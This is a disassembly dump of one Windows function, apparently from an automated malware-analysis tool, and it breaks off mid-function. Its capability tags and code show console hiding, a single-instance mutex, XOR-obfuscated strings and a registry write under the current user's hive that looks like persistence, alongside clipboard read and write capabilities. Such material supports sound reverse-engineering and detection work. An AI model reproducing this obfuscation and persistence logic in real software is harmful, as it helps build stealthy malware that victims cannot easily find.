Function at 0x140004110
Capabilities:
Execute command
Open clipboard
Read clipboard data
Set registry value
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140017010]
xor rax, rsp
mov qword [rbp + 0x350], rax
xor r13d, r13d
mov dword [rbp - 0x70], r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rsp + 0x40], 0xb
mov al, 0x69
mov cl, 0x5e
mov dl, 0x60
mov r8b, 0x41
mov r9b, 0x20
mov r10b, 0x6f
movzx r11d, cl
movzx ebx, r8b
mov dil, 0x73
xor esi, esi
xor al, 0xb
mov byte [rsp + 0x41], al
xor cl, 0xb
mov byte [rsp + 0x42], cl
xor dl, 0xb
mov byte [rsp + 0x43], dl
xor r8b, 0xb
mov byte [rsp + 0x44], r8b
xor r9b, 0xb
mov byte [rsp + 0x45], r9b
xor r10b, 0xb
mov byte [rsp + 0x46], r10b
xor r11b, 0xb
mov byte [rsp + 0x47], r11b
xor bl, 0xb
mov byte [rsp + 0x48], bl
xor dil, 0xb
mov byte [rsp + 0x49], dil
mov byte [rsp + 0x4a], sil
lea r8, [rsp + 0x41]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x1400053a1
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x90], r13
mov byte [rsp + 0x40], 0x3b
mov al, 0x57
mov cl, 0x54
mov dl, 0x58
mov r8b, 0x5a
movzx r9d, al
movzx r10d, r8b
mov r11b, 0x4b
movzx ebx, r11b
mov dil, 0x5f
movzx esi, r8b
mov r14b, 0x4f
movzx r15d, r8b
xor r12d, r12d
xor al, 0x3b
mov byte [rsp + 0x41], al
xor cl, 0x3b
mov byte [rsp + 0x42], cl
xor dl, 0x3b
mov byte [rsp + 0x43], dl
xor r8b, 0x3b
mov byte [rsp + 0x44], r8b
xor r9b, 0x3b
mov byte [rsp + 0x45], r9b
xor r10b, 0x3b
mov byte [rsp + 0x46], r10b
xor r11b, 0x3b
mov byte [rsp + 0x47], r11b
xor bl, 0x3b
mov byte [rsp + 0x48], bl
xor dil, 0x3b
mov byte [rsp + 0x49], dil
xor sil, 0x3b
mov byte [rsp + 0x4a], sil
xor r14b, 0x3b
mov byte [rsp + 0x4b], r14b
xor r15b, 0x3b
mov byte [rsp + 0x4c], r15b
mov byte [rsp + 0x4d], r12b
lea r8, [rsp + 0x41]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x1400059af
mov rdx, qword [rbp + 0x88]
test rdx, rdx
je 0x1400059af
mov r8, qword [rbp + 0x90]
dec r8
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x58], r13
mov r12d, 0xf
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x68], r13b
lea rcx, [rbp - 0x68]
call fcn.140006780
nop
mov rdi, qword [rbp - 0x58]
lea rbx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
call fcn.14000f120
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rbp + 0xe0]
call fcn.140003490
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140004358
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004353
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004353
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], r12
mov byte [rbp - 0x68], 0
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movdqa xmm1, xmmword [0x140011e30]
movdqu xmmword [rbp + 0x98], xmm1
mov dl, 0x1d
mov r8b, 0xb
mov r9b, 0x1c
mov r10b, 7
mov r11b, 0x1a
mov bl, 0x46
mov dil, 0xd
mov sil, 0x10
movzx r14d, dil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x99], al
xor byte [rbp + 0x9a], cl
xor byte [rbp + 0x9b], cl
xor byte [rbp + 0x9c], cl
xor byte [rbp + 0x9d], cl
xor byte [rbp + 0x9e], cl
xor byte [rbp + 0x9f], cl
xor byte [rbp + 0xa0], cl
xor byte [rbp + 0xa1], cl
xor byte [rbp + 0xa2], cl
xor byte [rbp + 0xa3], cl
xor byte [rbp + 0xa4], cl
xor byte [rbp + 0xa5], cl
xor byte [rbp + 0xa6], cl
xor byte [rbp + 0xa7], cl
xor dl, cl
mov byte [rbp + 0xa8], dl
xor r8b, cl
mov byte [rbp + 0xa9], r8b
xor r9b, cl
mov byte [rbp + 0xaa], r9b
xor r10b, cl
mov byte [rbp + 0xab], r10b
xor r11b, cl
mov byte [rbp + 0xac], r11b
xor bl, cl
mov byte [rbp + 0xad], bl
xor dil, cl
mov byte [rbp + 0xae], dil
xor sil, cl
mov byte [rbp + 0xaf], sil
xor r14b, cl
mov byte [rbp + 0xb0], r14b
mov byte [rbp + 0xb1], 0
lea rax, [rbp + 0x99]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004473
call fcn.14000f120
lea rcx, [rbp + 0x99]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rbx
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140003490
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x20]
call fcn.140003c20
nop
lea rdx, [rbp - 0x40]
mov rcx, rax
call fcn.1400036e0
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.140003c20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x140004511
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000450b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000450b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140004554
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000454f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000454f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
movdqa xmm0, xmmword [0x140011db0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r13w
mov r8d, 0x104
lea rdx, [rbp + 0x240]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x240]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004590
call fcn.14000f120
lea rcx, [rbp + 0x240]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rbx
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, [rbp + 0x120]
call fcn.140003490
mov esi, 0x7f
lea rax, [rbp + 0x100]
mov rbx, qword [rbp + 0x100]
mov rdi, qword [rbp + 0x118]
cmp rdi, 8
cmovae rax, rbx
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x110]
mov qword [rbp - 0x78], rax
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x120]
call fcn.1400039a0
test eax, eax
je 0x1400053d3
xor edx, edx
lea r8d, [rsi + 0x79]
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140011758]
mov qword [rbp + 0x140], rax
lea rax, [0x140011b50]
mov qword [rbp + 0x150], rax
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x70], 0xff
xor r8d, r8d
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x1c0], r13
mov dword [rbp + 0x1c8], r13d
movdqa xmm1, xmmword [0x140011eb0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140011e50]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x10
mov r8b, 0x44
mov r9b, 0x49
mov r10b, 0xa
movzx r11d, r8b
mov bl, 0x55
movzx edi, r8b
mov sil, 0x42
movzx r14d, sil
movzx r15d, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x150]
call fcn.140006d20
mov byte [rbp - 0x48], 0x59
mov cl, 0x3a
mov dl, 0x36
mov r8b, 0x29
mov r9b, 0x20
mov r10b, 0x79
mov r11b, 0x7b
xor ebx, ebx
xor cl, 0x59
mov byte [rbp - 0x47], cl
xor dl, 0x59
mov byte [rbp - 0x46], dl
xor r8b, 0x59
mov byte [rbp - 0x45], r8b
xor r9b, 0x59
mov byte [rbp - 0x44], r9b
xor r10b, 0x59
mov byte [rbp - 0x43], r10b
xor r11b, 0x59
mov byte [rbp - 0x42], r11b
mov byte [rbp - 0x41], bl
lea rdx, [rbp - 0x47]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x120]
call fcn.140006bc0
nop
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rbx
call fcn.140008090
lea rdx, [0x140011760]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
mov rcx, rbx
call fcn.140008090
lea rdx, [0x14001174c]
mov rcx, rax
call fcn.140006d20
movdqa xmm1, xmmword [0x140011f20]
movdqu xmmword [rbp + 0x98], xmm1
mov r8b, 3
mov r9b, 1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp + 0x99], cl
xor byte [rbp + 0x9a], dl
xor byte [rbp + 0x9b], dl
xor byte [rbp + 0x9c], dl
xor byte [rbp + 0x9d], dl
xor byte [rbp + 0x9e], dl
xor byte [rbp + 0x9f], dl
xor byte [rbp + 0xa0], dl
xor byte [rbp + 0xa1], dl
xor byte [rbp + 0xa2], dl
xor byte [rbp + 0xa3], dl
xor byte [rbp + 0xa4], dl
xor byte [rbp + 0xa5], dl
xor byte [rbp + 0xa6], dl
xor byte [rbp + 0xa7], dl
xor r8b, dl
mov byte [rbp + 0xa8], r8b
xor r9b, dl
mov byte [rbp + 0xa9], r9b
mov byte [rbp + 0xaa], 0
lea rdx, [rbp + 0x99]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
mov rcx, rbx
call fcn.140008090
lea rdx, [0x14001174c]
mov rcx, rax
call fcn.140006d20
mov byte [rsp + 0x40], 0x17
mov cl, 0x7e
mov dl, 0x74
mov r8b, 0x76
movzx r9d, dl
mov r10b, 0x7b
mov r11b, 0x64
mov bl, 0x37
mov dil, 0x35
xor esi, esi
xor cl, 0x17
mov byte [rsp + 0x41], cl
xor dl, 0x17
mov byte [rsp + 0x42], dl
xor r8b, 0x17
mov byte [rsp + 0x43], r8b
xor r9b, 0x17
mov byte [rsp + 0x44], r9b
xor r10b, 0x17
mov byte [rsp + 0x45], r10b
xor r11b, 0x17
mov byte [rsp + 0x46], r11b
xor bl, 0x17
mov byte [rsp + 0x47], bl
xor dil, 0x17
mov byte [rsp + 0x48], dil
mov byte [rsp + 0x49], sil
lea rdx, [rsp + 0x41]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
mov rcx, rbx
call fcn.140008090
mov rdi, rax
movdqa xmm1, xmmword [str.wUWX]
movdqu xmmword [rbp + 0xb8], xmm1
movdqa xmm2, xmmword [0x140011e90]
movdqu xmmword [rbp + 0xc8], xmm2
mov dl, 0x36
mov r8b, 0x5e
mov r9b, 0x57
mov r10b, 0x51
movzx r11d, r10b
movzx ebx, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0xb9], al
xor byte [rbp + 0xba], cl
xor byte [rbp + 0xbb], cl
xor byte [rbp + 0xbc], cl
xor byte [rbp + 0xbd], cl
xor byte [rbp + 0xbe], cl
xor byte [rbp + 0xbf], cl
xor byte [rbp + 0xc0], cl
xor byte [rbp + 0xc1], cl
xor byte [rbp + 0xc2], cl
xor byte [rbp + 0xc3], cl
xor byte [rbp + 0xc4], cl
xor byte [rbp + 0xc5], cl
xor byte [rbp + 0xc6], cl
xor byte [rbp + 0xc7], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0xc8], al
xor byte [rbp + 0xc9], cl
xor byte [rbp + 0xca], cl
xor byte [rbp + 0xcb], cl
xor byte [rbp + 0xcc], cl
xor byte [rbp + 0xcd], cl
xor byte [rbp + 0xce], cl
xor byte [rbp + 0xcf], cl
xor byte [rbp + 0xd0], cl
xor byte [rbp + 0xd1], cl
xor byte [rbp + 0xd2], cl
xor byte [rbp + 0xd3], cl
xor byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], cl
xor byte [rbp + 0xd6], cl
xor byte [rbp + 0xd7], cl
xor dl, cl
mov byte [rbp + 0xd8], dl
xor r8b, cl
mov byte [rbp + 0xd9], r8b
xor r9b, cl
mov byte [rbp + 0xda], r9b
xor r10b, cl
mov byte [rbp + 0xdb], r10b
xor r11b, cl
mov byte [rbp + 0xdc], r11b
xor bl, cl
mov byte [rbp + 0xdd], bl
mov byte [rbp + 0xde], sil
lea rdx, [rbp + 0xb9]
mov rcx, rdi
call fcn.140006d20
mov byte [rbp - 0x70], 0x53
mov cl, 0x37
mov dl, 0x36
mov r8b, 0x3f
mov r9b, 0x73
mov r10b, 0x71
xor r11d, r11d
xor cl, 0x53
mov byte [rbp - 0x6f], cl
xor dl, 0x53
mov byte [rbp - 0x6e], dl
xor r8b, 0x53
mov byte [rbp - 0x6d], r8b
xor r9b, 0x53
mov byte [rbp - 0x6c], r9b
xor r10b, 0x53
mov byte [rbp - 0x6b], r10b
mov byte [rbp - 0x6a], r11b
lea rdx, [rbp - 0x6f]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x120]
call fcn.140006bc0
nop
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
mov rcx, rbx
call fcn.140008090
lea rdx, [0x14001174c]
mov rcx, rax
call fcn.140006d20
movdqa xmm1, xmmword [0x140012080]
movdqu xmmword [rbp - 0x68], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp - 0x67], cl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor byte [rbp - 0x60], dl
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
mov byte [rbp - 0x58], sil
lea rdx, [rbp - 0x67]
mov rcx, rax
call fcn.140006d20
mov rbx, rax
lea rdx, [rbp]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140008090
movdqa xmm1, xmmword [0x140011dd0]
movdqu xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], dl
xor byte [rbp - 0x7d], dl
xor byte [rbp - 0x7c], dl
xor byte [rbp - 0x7b], dl
xor byte [rbp - 0x7a], dl
xor byte [rbp - 0x79], dl
xor byte [rbp - 0x78], dl
xor byte [rbp - 0x77], dl
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
mov byte [rbp - 0x71], sil
lea rdx, [rbp - 0x7f]
mov rcx, rax
call fcn.140006d20
mov rcx, rax
lea rdx, [0x140011740]
call fcn.140006d20
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140004d5d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140004da7
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004da2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004da2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r12
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140004df1
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004dec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004dec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r12
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140004e3b
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r12
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140004e85
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r12
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140004ecf
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004eca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004eca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
mov qword [rbp + 0x80], r13
movdqa xmm1, xmmword [0x140012030]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140012050]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x62
mov dl, 0x69
mov r8b, 0x73
mov r9b, 0x51
movzx r10d, cl
mov bl, 0x75
mov dil, 0x74
mov sil, 0x6e
mov r14b, 0x68
movzx r15d, dl
mov r12b, 0x5b
mov r13b, 0x55
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r11b
xor byte [rsp + 0x53], r11b
xor byte [rsp + 0x54], r11b
xor byte [rsp + 0x55], r11b
xor byte [rsp + 0x56], r11b
xor byte [rsp + 0x57], r11b
xor byte [rsp + 0x58], r11b
xor byte [rsp + 0x59], r11b
xor byte [rsp + 0x5a], r11b
xor byte [rsp + 0x5b], r11b
xor byte [rsp + 0x5c], r11b
xor byte [rsp + 0x5d], r11b
xor byte [rsp + 0x5e], r11b
xor byte [rsp + 0x5f], r11b
movd eax, xmm2
xor al, r11b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r11b
xor byte [rsp + 0x62], r11b
xor byte [rsp + 0x63], r11b
xor byte [rsp + 0x64], r11b
xor byte [rsp + 0x65], r11b
xor byte [rsp + 0x66], r11b
xor byte [rsp + 0x67], r11b
xor byte [rsp + 0x68], r11b
xor byte [rsp + 0x69], r11b
xor byte [rsp + 0x6a], r11b
xor byte [rsp + 0x6b], r11b
xor byte [rsp + 0x6c], r11b
xor byte [rsp + 0x6d], r11b
xor byte [rsp + 0x6e], r11b
xor byte [rsp + 0x6f], r11b
xor cl, r11b
mov byte [rsp + 0x70], cl
xor dl, r11b
mov byte [rsp + 0x71], dl
xor r8b, r11b
mov byte [rsp + 0x72], r8b
xor r9b, r11b
mov byte [rsp + 0x73], r9b
xor r10b, r11b
mov byte [rsp + 0x74], r10b
xor bl, r11b
mov byte [rsp + 0x75], bl
xor dil, r11b
mov byte [rsp + 0x76], dil
xor sil, r11b
mov byte [rsp + 0x77], sil
xor r14b, r11b
mov byte [rsp + 0x78], r14b
xor r15b, r11b
mov byte [rsp + 0x79], r15b
xor r12b, r11b
mov byte [rsp + 0x7a], r12b
xor r13b, r11b
mov byte [rsp + 0x7b], r13b
mov al, 0x72
xor al, r11b
mov byte [rsp + 0x7c], al
mov al, 0x69
xor al, r11b
mov byte [rsp + 0x7d], al
mov byte [rsp + 0x7e], 0
lea r8, [rbp + 0x80]
lea rdx, [rsp + 0x51]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
nop
mov ebx, dword [rbp - 0x10]
inc ebx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x100]
call fcn.140006bc0
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rax, qword [rbp - 0x40]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140011768]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400050ef
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
xor edi, edi
mov qword [rbp - 0x30], rdi
mov ebx, 0xf
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x40], dil
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140005141
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000513b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000513b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f6cc
nop
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x40], 0
mov dword [rbp - 0x70], 0x2ffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov ecx, dword [rbp + 0x1c8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000519d
mov rax, qword [rbp + 0x198]
mov r8, qword [rax]
test r8, r8
je 0x14000519d
mov rax, qword [rbp + 0x178]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x1c0]
cmovb r8, qword [rbp + 0x1c0]
sub r8, rdx
jmp 0x1400051db
test cl, 4
jne 0x1400051cd
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400051cd
mov rax, qword [rbp + 0x170]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1a8]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x1400051db
mov r8, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0x98]
test rdx, rdx
je 0x1400051ed
lea rcx, [rbp - 0x40]
call fcn.140006780
mov rbx, qword [rbp - 0x28]
lea rcx, [rbp - 0x40]
cmp rbx, 0x10
